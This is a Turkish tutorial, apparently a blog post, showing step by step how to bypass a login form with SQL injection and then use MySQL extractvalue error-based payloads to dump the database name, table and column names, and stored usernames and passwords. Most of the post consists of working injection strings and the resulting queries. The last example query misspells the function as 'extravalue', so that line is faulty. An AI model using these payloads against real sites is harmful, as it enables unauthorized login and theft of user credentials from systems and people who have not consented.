Bu yazımda extractvalue error based ile login bölümünden sql injection yapacağız.

Ana login giriş ekranı

Yukarıda gördüğünüz gibi normal bir login giriş bölümü şimdi rastgele birşeyler girelim.

Rastgele değer girişi

Resimde gördüğünüz gibi hata verdi sql sorgumuzu inceleyelim;

select * from uyeler where username='asd' and password='asd'

şimdi bir de kullanıcı adı bölümüne: '=' 'or' ile deniyelim.

select * from uyeler where username=''=' 'or' ' and password=''=' 'or' '

yukarıdaki sorgudan anlaşılacağı gibi username=’’ deki ve password=’’ deki tırnakları aşmış sorguyu değiştirmiş oluyoruz böylece true dönüyor ve login oluyoruz.

Login başarılı

Şimdi gelelim extractvalue ile veri çekmeye;

Kullanıcı adı bölümüne : a'and extractvalue(0x1,concat(0x1,(select database())))-- basit bir sorgu ile database adını çekmeyi deniyeceğiz şifre bölümüne ise ’ tek tırnak koymanız yeterli – ifadesi sorguyu kapatacağı için ’ tırnak ile true döndüreceğiz sorguyu

select * from uyeler where username=a'and extractvalue(0x1,concat(0x1,(select database())))--' and password='

ve sonuçlara bakalım gördüğünüz gibi database adı geldi.

Database adı sonucu

gördüğünüz gibi database adı geldi. Şimdi kolonları çekelim;

and extractvalue(0x1,concat(0x1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))-- yazıyoruz;

Tablo adı (table_name)

şimdi tek tek limitimizi değiştirip tek tek sorguları ekrana yazdırıyoruz.

and extractvalue(0x1,concat(0x1,(select column_name from information_schema.columns where table_schema=database() and table_name='uyeler' limit 0,1)))--

Not:Eğer – veya # sorgu sonlandırılmıyorsa sorgunun sonuna and'1 ekleyerek de sorgunun syntax hatasız çalışması sağlanır.

Kolon adı (column_name)

üyeler tablosundakileri listeledik id , username , password var benim işimi yarıcak iki veri var username ve password şimdi sorgumuzu ona göre yazıp username ve password daki verileri ekrana yazdıracağız ve sonuç alttaki resimde olduğu gibi eğer veritabanında birden çok veri varsa limiti değiştirip çekebilirsiniz.

Çekilen veriler

Not: Extravalue toplam 32 karakter döndürür daha fazlasını okumak için substring kullanılır.

Örnek Sorgu:'and 1=extravalue(null,concat(0x3a,(select substring(table_name,32,32) from information_schema.tables where table_schema=database() limit 1 offset 0)))

İyi günler.